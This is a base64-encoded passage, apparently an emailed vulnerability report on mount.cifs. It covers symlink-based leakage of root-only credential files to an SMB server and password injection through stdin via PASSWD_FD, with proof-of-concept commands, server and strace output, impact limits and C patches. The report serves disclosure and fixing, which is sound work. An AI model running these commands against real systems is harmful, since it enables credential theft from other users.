LmNpZnMgYmVpbmcgaW52b2tlZCBhcyByb290IGJ5IGEgc3lzdGVtIHNlcnZpY2UKIyAoY3Jvbiwg ZnN0YWIgYXV0b21vdW50LCBzeXN0ZW1kIHVuaXQpLiBUaGUgYXR0YWNrZXIgZG9lcyBub3QgbmVl ZCBzdWRvIOKAlAojIHRoZXkgb25seSBuZWVkIHdyaXRlIGFjY2VzcyB0byB0aGUgZGlyZWN0b3J5 IGNvbnRhaW5pbmcgdGhlIGNyZWRlbnRpYWwgZmlsZSBwYXRoLgpta2RpciAtcCAvdG1wL21udApz dWRvIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8vMTI3LjAuMC4xL3NoYXJlIC90bXAvbW50IFwKICAg IC1vICJjcmVkZW50aWFscz0vaG9tZS90cm8vY3JlZHNfbGluayxwb3J0PTQ0NDUsdmVycz0xLjAi CmBgYAoKKipBY3R1YWwgU01CIHNlcnZlciBvdXRwdXQgKFRlcm1pbmFsIDEpKio6CgpgYGAKWy1d IHJlc2VhcmNoXFNFQ1JFVF9WQUxVRV9MRUFLRUQ6IFVuc3VwcG9ydGVkIFRyYW5zYWN0LzIgY29t bWFuZCAweDEwClstXSByZXNlYXJjaFxTRUNSRVRfVkFMVUVfTEVBS0VEOiBUcmVlQ29ubmVjdEFu ZFggbm90IGZvdW5kIHNoYXJlCmBgYAoKYFNFQ1JFVF9WQUxVRV9MRUFLRURgIOKAlCB0aGUgYHVz ZXJuYW1lPWAgdmFsdWUgZnJvbSBpbnNpZGUgdGhlIGBjaG1vZCAwMDBgIGZpbGUgdGhlIHVzZXIg Y2Fubm90IHJlYWQg4oCUIGFwcGVhcnMgaW4gdGhlIHNlcnZlciBhdXRoZW50aWNhdGlvbiBsb2cu IG1vdW50LmNpZnMgZm9sbG93ZWQgdGhlIHN5bWxpbmsgd2l0aCBgQ0FQX0RBQ19SRUFEX1NFQVJD SGAgZWZmZWN0aXZlLCBwYXJzZWQgdGhlIHByb3RlY3RlZCBmaWxlLCBhbmQgdHJhbnNtaXR0ZWQg aXRzIGNvbnRlbnRzIGFzIFNNQiBjcmVkZW50aWFscy4KCioqRXJyb3IgZmluZ2VycHJpbnQgZGlz dGluZ3Vpc2hpbmcgZmlsZS1vcGVuIGZhaWx1cmUgZnJvbSBjcmVkZW50aWFsLXJlYWQgc3VjY2Vz cyoqOgoKYGBgYmFzaAojIENyZWRlbnRpYWwgZmlsZSBtaXNzaW5nIOKGkiBlcnJvciByZXBvcnRl ZCBhdCBjcmVkZW50aWFsLW9wZW4gc3RhZ2UKc3VkbyBtb3VudC5jaWZzIC8vMTI3LjAuMC4xL3No YXJlIC9tbnQgLW8gY3JlZGVudGlhbHM9L25vbmV4aXN0ZW50IDI+JjEKIyDihpIgZXJyb3IgMiAo Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSkgb3BlbmluZyBjcmVkZW50aWFsIGZpbGUgL25vbmV4 aXN0ZW50CgojIFN5bWxpbmsgdG8gcHJvdGVjdGVkIGZpbGUg4oaSIGVycm9yIGF0IFNNQiBuZXR3 b3JrIHN0YWdlIChjcmVkZW50aWFsIHJlYWQgc3VjY2VlZGVkKQpzdWRvIG1vdW50LmNpZnMgLy8x MjcuMC4wLjEvc2hhcmUgL21udCAtbyBjcmVkZW50aWFscz0vaG9tZS90cm8vY3JlZHNfbGluayAy PiYxCiMg4oaSIG1vdW50IGVycm9yKDIpOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5CmBgYAoK VGhlIGVycm9yIG1lc3NhZ2UgY2hhbmdlcyBmcm9tIGBvcGVuaW5nIGNyZWRlbnRpYWwgZmlsZWAg KGZhaWxlZCBiZWZvcmUgcmVhZGluZykgdG8gYG1vdW50IGVycm9yYCAoc3VjY2Vzc2Z1bGx5IHJl YWQgY3JlZGVudGlhbHMsIGZhaWxlZCBhdCBuZXR3b3JrIHN0YWdlKS4gVGhpcyBpcyByZXByb2R1 Y2libGUgYW5kIHVuYW1iaWd1b3VzLgoKKipOb3RlIG9uIGBmcy5wcm90ZWN0ZWRfc3ltbGlua3Ng Kio6IFRoZSBMaW51eCBrZXJuZWwgZGVmYXVsdCBgZnMucHJvdGVjdGVkX3N5bWxpbmtzPTFgIGJs b2NrcyBjcm9zcy11c2VyIHN5bWxpbmsgZm9sbG93aW5nIGluIHdvcmxkLXdyaXRhYmxlIHN0aWNr eSBkaXJlY3RvcmllcyAoYC90bXBgLCBgL3Zhci90bXBgKS4gVGhlIGV4cGxvaXQgYWJvdmUgdXNl cyBgL2hvbWUvdHJvL2Agd2hpY2ggaXMgbm90IHN0aWNreSBhbmQgbm90IHdvcmxkLXdyaXRhYmxl LCBieXBhc3NpbmcgdGhpcyBtaXRpZ2F0aW9uLiBDcmVkZW50aWFsIGZpbGVzIGNvbmZpZ3VyZWQg YnkgYWRtaW5pc3RyYXRvcnMgYXJlIGNvbW1vbmx5IHN0b3JlZCBpbiBub24tc3RpY2t5IGxvY2F0 aW9ucyAoYC9ldGMvY2lmcy9gLCBgL3Jvb3QvYCwgYXBwbGljYXRpb24gY29uZmlnIGRpcmVjdG9y aWVzKSDigJQgbm9uZSBvZiB3aGljaCBhcmUgcHJvdGVjdGVkIGJ5IHRoaXMga2VybmVsIG1pdGln YXRpb24uCgotLS0KCiMjIyBGaW5kaW5nIDMg4oCUIFBBU1NXRF9GRCBzdGRpbiBpbmplY3Rpb24K CioqTm9ybWFsIGJlaGF2aW91cioqIChubyBgUEFTU1dEX0ZEYCkg4oCUIG1vdW50LmNpZnMgb3Bl bnMgYC9kZXYvdHR5YCBhbmQgcHJvbXB0cyBpbnRlcmFjdGl2ZWx5OgoKYGBgYmFzaApzdWRvIHN0 cmFjZSAtZiAtZSB0cmFjZT1yZWFkLG9wZW5hdCAtcyAyMDAgXAogICAgL3Vzci9zYmluL21vdW50 LmNpZnMgLy8xMjcuMC4wLjEvc2hhcmUgL3RtcC9tbnQgXAogICAgLW8gInVzZXI9dGVzdHVzZXIs cG9ydD00NDQ1LHZlcnM9MS4wIiAyPiYxIHwgZ3JlcCAtRSAicmVhZFwoMHx0dHl8UGFzc3dvcmQi CmBgYAoKKipBY3R1YWwgb3V0cHV0Kio6CmBgYApbcGlkIDc3OTM3OV0gb3BlbmF0KEFUX0ZEQ1dE LCAiL2Rldi90dHkiLCBPX1JEV1J8T19DUkVBVHxPX1RSVU5DfE9fQ0xPRVhFQywgMDY2NikgPSAz ClBhc3N3b3JkIGZvciByb290QC8vMTI3LjAuMC4xL3NoYXJlOgpbcGlkIDc3OTM3OV0gcmVhZCgz LCAiXG4iLCA0MDk2KSA9IDEKYGBgCgoqKkJ1ZyoqIChgUEFTU1dEX0ZEPWludmFsaWRgKSDigJQg bm8gcHJvbXB0LCBzdGRpbiBjb25zdW1lZCBzaWxlbnRseToKCmBgYGJhc2gKZWNobyAiU1RESU5f UEFTU1dPUkRfSU5KRUNURUQiIHwgc3VkbyBzdHJhY2UgLWYgLWUgdHJhY2U9cmVhZCAtcyAyMDAg XAogICAgZW52IFBBU1NXRF9GRD1pbnZhbGlkIFwKICAgIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8v MTI3LjAuMC4xL3NoYXJlIC90bXAvbW50IFwKICAgIC1vICJ1c2VyPXRlc3R1c2VyLHBvcnQ9NDQ0 NSx2ZXJzPTEuMCIgMj4mMSB8IGdyZXAgInJlYWQoMCIKYGBgCgoqKkFjdHVhbCBvdXRwdXQqKjoK YGBgCltwaWQgNzc5NDM4XSByZWFkKDAsICJTVERJTl9QQVNTV09SRF9JTkpFQ1RFRFxuIiwgNTEz KSA9IDI0CmBgYAoKYC9kZXYvdHR5YCBpcyBuZXZlciBvcGVuZWQuIE5vIHByb21wdCBpcyBkaXNw bGF5ZWQuIFRoZSBiaW5hcnkgc2lsZW50bHkgY29uc3VtZXMgYFNURElOX1BBU1NXT1JEX0lOSkVD VEVEYCBmcm9tIGZkIDAgYW5kIHVzZXMgaXQgYXMgdGhlIFNNQiBhdXRoZW50aWNhdGlvbiBwYXNz d29yZC4KCi0tLQoKCiMjIEltcGFjdAoKIyMjIFdoYXQgd2FzIGRlbW9uc3RyYXRlZAoKKipGaW5k aW5nIDIqKiBpcyBmdWxseSBwcm92ZW4uIFdoZW4gbW91bnQuY2lmcyBpcyBpbnZva2VkIGFzIHJv b3Qgd2l0aCBhIGNyZWRlbnRpYWwgZmlsZSBwYXRoIHRoYXQgdGhlIGF0dGFja2VyIGNhbiByZXBs YWNlIHdpdGggYSBzeW1saW5rIOKAlCBhIHJlYWxpc3RpYyBjb25kaXRpb24gaW4gc3lzdGVtcyB1 c2luZyBgL2V0Yy9mc3RhYmAgQ0lGUyBlbnRyaWVzLCBhdXRvbW91bnRlcnMsIG9yIHNjcmlwdHMg dGhhdCBwYXNzIGNyZWRlbnRpYWwgcGF0aHMgZnJvbSB1c2VyLWluZmx1ZW5jZWQgbG9jYXRpb25z IOKAlCB0aGUgYmluYXJ5IGZvbGxvd3MgdGhlIHN5bWxpbmssIHJlYWRzIHRoZSB0YXJnZXQgZmls ZSB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNIYCBlZmZlY3RpdmUsIGFuZCB0cmFuc21pdHMgcGFy c2VkIGNvbnRlbnQgdG8gdGhlIFNNQiBzZXJ2ZXIgc3BlY2lmaWVkIG9uIHRoZSBjb21tYW5kIGxp bmUuIEFuIGF0dGFja2VyIHdobyBjb250cm9scyB0aGUgU01CIHNlcnZlciByZWNlaXZlcyB0aG9z ZSB2YWx1ZXMuCgoqKkZpbmRpbmcgMyoqIGlzIGZ1bGx5IHByb3Zlbi4gQW55IHByb2Nlc3MgdGhh dCBpbnZva2VzIG1vdW50LmNpZnMgd2l0aCBhbiBhdHRhY2tlci1jb250cm9sbGVkIGVudmlyb25t ZW50IGNhbiBpbmplY3QgYW4gYXJiaXRyYXJ5IHBhc3N3b3JkIHZhbHVlIHdpdGhvdXQgdXNlciB2 aXNpYmlsaXR5LiBUaGUgYmluYXJ5IHByb3ZpZGVzIG5vIHdhcm5pbmcgYW5kIG9wZW5zIG5vIFRU WSBwcm9tcHQgd2hlbiBgUEFTU1dEX0ZEYCBpcyBzZXQgdG8gYSBub24tbnVtZXJpYyBzdHJpbmcu CgojIyMgSG9uZXN0IGNvbnN0cmFpbnRzIG9uIGltcGFjdAoKKipUaGUgcGFyc2VyIGlzIGEgZmls dGVyKio6IG1vdW50LmNpZnMgZG9lcyBub3QgcmV0dXJuIHJhdyBieXRlcyB0byB0aGUgYXR0YWNr ZXIuIEl0IHBhcnNlcyB0aGUgb3BlbmVkIGZpbGUgZm9yIGB1c2VybmFtZT1gLCBgcGFzc3dvcmQ9 YCwgYW5kIGBkb21haW49YCBsaW5lcy4gRmlsZXMgbm90IGZvcm1hdHRlZCBhcyBDSUZTIGNyZWRl bnRpYWwgZmlsZXMg4oCUIGluY2x1ZGluZyBgL2V0Yy9zaGFkb3dgLCBgL2V0Yy9wYXNzd2RgLCBU TFMga2V5cywgYW5kIFNTSCBwcml2YXRlIGtleXMg4oCUIHByb2R1Y2Ugbm8gdXNhYmxlIG91dHB1 dCBldmVuIHdoZW4gc3VjY2Vzc2Z1bGx5IG9wZW5lZCBhcyByb290LiBUaGUgcHJhY3RpY2FsIHRh cmdldHMgYXJlIGZpbGVzIHRoYXQgY29tYmluZSBwcml2aWxlZ2UgKHVucmVhZGFibGUgYnkgdGhl IGF0dGFja2VyKSB3aXRoIGNyZWRlbnRpYWwgZm9ybWF0OgoKLSBgL3Jvb3QvLnNtYmNyZWRlbnRp YWxzYAotIGAvZXRjL2NpZnMvY3JlZGVudGlhbHNgIG9yIHNpbWlsYXIgYWRtaW4tbWFuYWdlZCBj cmVkZW50aWFsIHN0b3JlcwotIEFwcGxpY2F0aW9uIGNvbmZpZ3VyYXRpb24gZmlsZXMgdW5kZXIg cHJvdGVjdGVkIGRpcmVjdG9yaWVzIGNvbnRhaW5pbmcgYHVzZXJuYW1lPWAvYHBhc3N3b3JkPWAg ZGlyZWN0aXZlcwoKKipUaGUgYGFjY2VzcygpYCBnYXRlIGxpbWl0cyBkaXJlY3QgZXhwbG9pdGF0 aW9uIGJ5IHVucHJpdmlsZWdlZCB1c2VycyoqOiBgYWNjZXNzKClgIHVzZXMgdGhlIHJlYWwgVUlE LiBBbiB1bnByaXZpbGVnZWQgdXNlciBjYW5ub3QgcGFzcyBgYWNjZXNzKClgIGZvciBhIHJvb3Qt b3duZWQgNjAwIGZpbGUuIERpcmVjdCBleHBsb2l0YXRpb24gb2YgYFBBU1NXRF9GSUxFYCBieSBh IG5vbi1yb290IGNhbGxlciBpcyB0aGVyZWZvcmUgbGltaXRlZCB0byBmaWxlcyB0aGUgY2FsbGVy IGNhbiBhbHJlYWR5IHJlYWQg4oCUIHdoaWNoIHJlZHVjZXMgdGhlIGltbWVkaWF0ZSBjb25maWRl bnRpYWxpdHkgaW1wYWN0LiBUaGUgVE9DVE9VIHJhY2UgKEZpbmRpbmcgMSkgaXMgcmVxdWlyZWQg dG8gYnJlYWsgdGhpcyBnYXRlIGZyb20gYW4gdW5wcml2aWxlZ2VkIGNvbnRleHQuCgoqKkZpbmRp bmcgMSByYWNlIG5vdCB3b24gaW4gdGVzdGluZyoqOiA1MCwwMDAgaXRlcmF0aW9ucyB3aXRoIENQ VSBwaW5uaW5nIGFuZCBhdG9taWMgYHJlbmFtZSgpYCByYWNlciBkaWQgbm90IHByb2R1Y2UgYSB3 aW4gb24gYSB2aXJ0dWFsIG1hY2hpbmUuIFRoZSByYWNlIHdpbmRvdyBpcyByZWFsIGFuZCBzdHJ1 Y3R1cmFsIOKAlCB0aGUgZGVmZWN0IGlzIG5vdCB0aGVvcmV0aWNhbCDigJQgYnV0IHJlbGlhYmxl IGV4cGxvaXRhdGlvbiByZXF1aXJlcyBgdXNlcmZhdWx0ZmRgIG9yIGJhcmUtbWV0YWwgdGltaW5n IHRoYXQgd2FzIG5vdCBhdmFpbGFibGUgaW4gdGhlIHRlc3QgZW52aXJvbm1lbnQuCgotLS0KCiMj IFN1Z2dlc3RlZCBGaXgKCkZvdXIgaW5kZXBlbmRlbnQgY2hhbmdlcyBhZGRyZXNzIHRoZSB0aHJl ZSBmaW5kaW5ncy4KCioqMS4gQWRkIGBPX05PRk9MTE9XIHwgT19DTE9FWEVDYCB0byBgb3Blbl9j cmVkX2ZpbGUoKWAg4oCUIGBtb3VudC5jaWZzLmM6NjEyYCoqCgpSZXBsYWNlIGBmb3BlbihmaWxl X25hbWUsICJyIilgIHdpdGggYW4gZXhwbGljaXQgYG9wZW4oKWAgdXNpbmcgYE9fTk9GT0xMT1dg OgoKYGBgYwppbnQgZmQgPSBvcGVuKGZpbGVfbmFtZSwgT19SRE9OTFkgfCBPX05PRk9MTE9XIHwg T19DTE9FWEVDKTsKaWYgKGZkIDwgMCkgewogICAgLyogZXJybm8gPT0gRUxPT1AgbWVhbnMgdGhl IHBhdGggaXMgYSBzeW1saW5rIOKAlCByZWplY3QgaXQgKi8KICAgIHRvZ2dsZV9kYWNfY2FwYWJp bGl0eSgwLCAwKTsKICAgIHJldHVybiBlcnJubzsKfQpmcyA9IGZkb3BlbihmZCwgInIiKTsKaWYg KCFmcykgewogICAgY2xvc2UoZmQpOwogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOwog ICAgcmV0dXJuIGVycm5vOwp9CmBgYAoKKioyLiBTYW1lIGZpeCBpbiBgZ2V0X3Bhc3N3b3JkX2Zy b21fZmlsZSgpYCDigJQgYG1vdW50LmNpZnMuYzo3MDFgKioKCmBgYGMKZmlsZV9kZXNjcmlwdCA9 IG9wZW4oZmlsZW5hbWUsIE9fUkRPTkxZIHwgT19OT0ZPTExPVyB8IE9fQ0xPRVhFQyk7CmlmIChm aWxlX2Rlc2NyaXB0IDwgMCkgewogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOwogICAg cmV0dXJuIGVycm5vOwp9CmBgYAoKKiozLiBTYW5pdGl6ZSBlbnZpcm9ubWVudCB2YXJpYWJsZXMg YXQgc3RhcnR1cCDigJQgYmVmb3JlIGFueSBvcHRpb24gcHJvY2Vzc2luZyoqCgpBIFNVSUQgYmlu YXJ5IHNob3VsZCBub3QgaG9ub3VyIHNlY3VyaXR5LXNlbnNpdGl2ZSBlbnZpcm9ubWVudCB2YXJp YWJsZXMgaW5oZXJpdGVkIGZyb20gdGhlIGludm9raW5nIHVzZXI6CgpgYGBjCi8qIENhbGwgYmVm b3JlIHBhcnNlX29wdGlvbnMoKSAqLwp1bnNldGVudigiUEFTU1dEX0ZJTEUiKTsKdW5zZXRlbnYo IlBBU1NXRDJfRklMRSIpOwp1bnNldGVudigiUEFTU1dEX0ZEIik7CmBgYAoKVGhlc2UgdmFyaWFi bGVzIHNob3VsZCBiZSBzZXQgb25seSB0aHJvdWdoIHRoZSB2YWxpZGF0ZWQgbW91bnQgb3B0aW9u IHBhcnNlciwgbm90IGluaGVyaXRlZCBmcm9tIHRoZSBjYWxsZXIncyBlbnZpcm9ubWVudC4KCioq NC4gVmFsaWRhdGUgYFBBU1NXRF9GRGAgYmVmb3JlIHVzZSDigJQgYG1vdW50LmNpZnMuYzoxNDYx YCoqCgpgYGBjCnRtcCA9IGdldGVudigiUEFTU1dEX0ZEIik7CmlmICh0bXApIHsKICAgIGNoYXIg KmVuZDsKICAgIGxvbmcgdmFsID0gc3RydG9sKHRtcCwgJmVuZCwgMTApOwogICAgaWYgKCplbmQg IT0gJ1wwJyB8fCB2YWwgPCAzIHx8IHZhbCA+IChsb25nKXN5c2NvbmYoX1NDX09QRU5fTUFYKSkg ewogICAgICAgIGZwcmludGYoc3RkZXJyLCAibW91bnQuY2lmczogaW52YWxpZCBQQVNTV0RfRkQg dmFsdWUgJyVzJ1xuIiwgdG1wKTsKICAgICAgICByZXR1cm4gRVhfVVNBR0U7CiAgICB9CiAgICBm ZCA9IChpbnQpdmFsOwogICAgcmVhZChmZCwgcGFzc2J1Ziwgc2l6ZW9mKHBhc3NidWYpIC0gMSk7 Cn0KYGBgCgpVc2luZyBgc3RydG9sKClgIGluc3RlYWQgb2YgYGF0b2koKWAgYWxsb3dzIGRldGVj dGlvbiBvZiBub24tbnVtZXJpYyBpbnB1dC4gVGhlIGxvd2VyIGJvdW5kIG9mIDMgcmVqZWN0cyBz dGRpbiAoMCksIHN0ZG91dCAoMSksIGFuZCBzdGRlcnIgKDIpLgoKLS0tCgo= --000000000000d1c3020657a68075--